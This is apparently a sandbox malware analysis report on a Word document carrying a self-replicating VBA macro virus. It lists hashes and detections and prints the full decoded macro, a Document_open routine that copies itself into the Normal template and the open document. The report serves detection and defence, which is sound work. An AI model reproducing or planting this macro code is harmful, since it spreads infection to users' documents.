Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 77ef75061091eb24…

MALICIOUS

Office (OLE)

34.5 KB Created: 2000-11-12 17:04:00 Authoring application: Microsoft Word 8.0 First seen: 2015-04-05
MD5: 6e8eac3032789eb6d43d7841d51f754f SHA-1: 0284c35b48b999dc9e924cfc0fd1134193e5ce5f SHA-256: 77ef75061091eb246ddb33ebdd54ac568fe11e6386d760eae54a1366e73bf68e
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Microsoft Word document containing VBA macros. The 'Document_open' macro is designed to copy its own code into the Normal template and the active document, indicating a self-replication or persistence mechanism. This behavior, combined with ClamAV detections of 'Doc.Trojan.Strings-1', strongly suggests a malicious document designed to spread or maintain its presence.

Heuristics 4

  • ClamAV: Doc.Trojan.Strings-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Strings-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .deletelines 1, OCKAJRF.countoflines
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1291 bytes
SHA-256: 1fa96104479d01312eda18495384c60d23567f3fe9a37e19c39bcd7fabd21b1c
Detection
ClamAV: Doc.Trojan.Strings-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

'e[ax]
Private Sub Document_open()
Dim KVICKJS, CHSJEUR, LCXJSIE, OCKAJRF, SIFDMXU
Set CHSJEUR = ThisDocument.VBProject.VBComponents(1).CodeModule
Set OCKAJRF = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set LCXJSIE = ActiveDocument.VBProject.VBComponents(1).CodeModule
KVICKJS = Strings.Trim(CHSJEUR.lines(1, CHSJEUR.countoflines))
SIFDMXU = Strings.LCase("'e[ax]")
If SIFDMXU <> OCKAJRF.lines(1, 1) Then
With OCKAJRF
.deletelines 1, OCKAJRF.countoflines
.insertlines 1, KVICKJS
End With
End If
If SIFDMXU <> LCXJSIE.lines(1, 1) Then
With LCXJSIE
.deletelines 1, LCXJSIE.countoflines
.insertlines 1, KVICKJS
End With
End If
'WM97/2K.String by e[ax]
'SIM v1.0 [String Infection Method] by e[ax]
'Greetz: k04x, rudeboy, BIGFOOOT, E-man, SnakeLord, t[r]ax
'H4dija, te ostale pri BIHnet.ORG-u
'SP.greetz to: Jackie 2Fl0wer, KnowDeth, ASMhead, Mist, mort-
'nala, Giga, LifeWire, Fulvian, Evul, and to all ppl on #virus
'10x once again for inspiration...
'VicES: Where ar u man!?
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.